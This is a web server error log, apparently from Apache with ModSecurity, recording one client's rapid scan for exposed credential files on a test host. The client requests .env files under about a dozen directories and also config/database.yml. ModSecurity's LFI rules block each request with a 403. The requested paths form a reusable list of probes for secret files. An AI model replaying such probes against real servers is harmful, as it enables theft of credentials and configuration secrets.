[Thu Feb 26 01:02:45.547921 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVwAAAAQ&quot;]
[Thu Feb 26 01:02:45.584381 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWAAAAAQ&quot;]
[Thu Feb 26 01:02:45.584600 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWAAAAAQ&quot;]
[Thu Feb 26 01:02:45.584760 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWAAAAAQ&quot;]
[Thu Feb 26 01:02:45.611800 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deployment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWQAAAAQ&quot;]
[Thu Feb 26 01:02:45.612039 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWQAAAAQ&quot;]
[Thu Feb 26 01:02:45.612187 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWQAAAAQ&quot;]
[Thu Feb 26 01:02:45.643328 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWgAAAAQ&quot;]
[Thu Feb 26 01:02:45.643561 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWgAAAAQ&quot;]
[Thu Feb 26 01:02:45.643725 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWgAAAAQ&quot;]
[Thu Feb 26 01:02:45.685074 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWwAAAAQ&quot;]
[Thu Feb 26 01:02:45.685354 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWwAAAAQ&quot;]
[Thu Feb 26 01:02:45.685534 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHWwAAAAQ&quot;]
[Thu Feb 26 01:02:45.708687 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHXAAAAAQ&quot;]
[Thu Feb 26 01:02:45.708914 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHXAAAAAQ&quot;]
[Thu Feb 26 01:02:45.709069 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHXAAAAAQ&quot;]
[Thu Feb 26 01:02:45.768943 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHXQAAAAQ&quot;]
[Thu Feb 26 01:02:45.769193 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHXQAAAAQ&quot;]
[Thu Feb 26 01:02:45.769392 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHXQAAAAQ&quot;]
[Thu Feb 26 01:02:45.846394 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOQAAAAM&quot;]
[Thu Feb 26 01:02:45.846634 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOQAAAAM&quot;]
[Thu Feb 26 01:02:45.846793 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOQAAAAM&quot;]
[Thu Feb 26 01:02:45.893197 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHYAAAAAQ&quot;]
[Thu Feb 26 01:02:45.893428 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHYAAAAAQ&quot;]
[Thu Feb 26 01:02:45.893601 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHYAAAAAQ&quot;]
[Thu Feb 26 01:02:45.904200 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOgAAAAM&quot;]
[Thu Feb 26 01:02:45.904420 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOgAAAAM&quot;]
[Thu Feb 26 01:02:45.904577 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOgAAAAM&quot;]
[Thu Feb 26 01:02:45.945505 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOwAAAAM&quot;]
[Thu Feb 26 01:02:45.945735 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOwAAAAM&quot;]
[Thu Feb 26 01:02:45.945890 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkOwAAAAM&quot;]
[Thu Feb 26 01:02:45.970681 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkPAAAAAM&quot;]
[Thu Feb 26 01:02:45.970907 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkPAAAAAM&quot;]
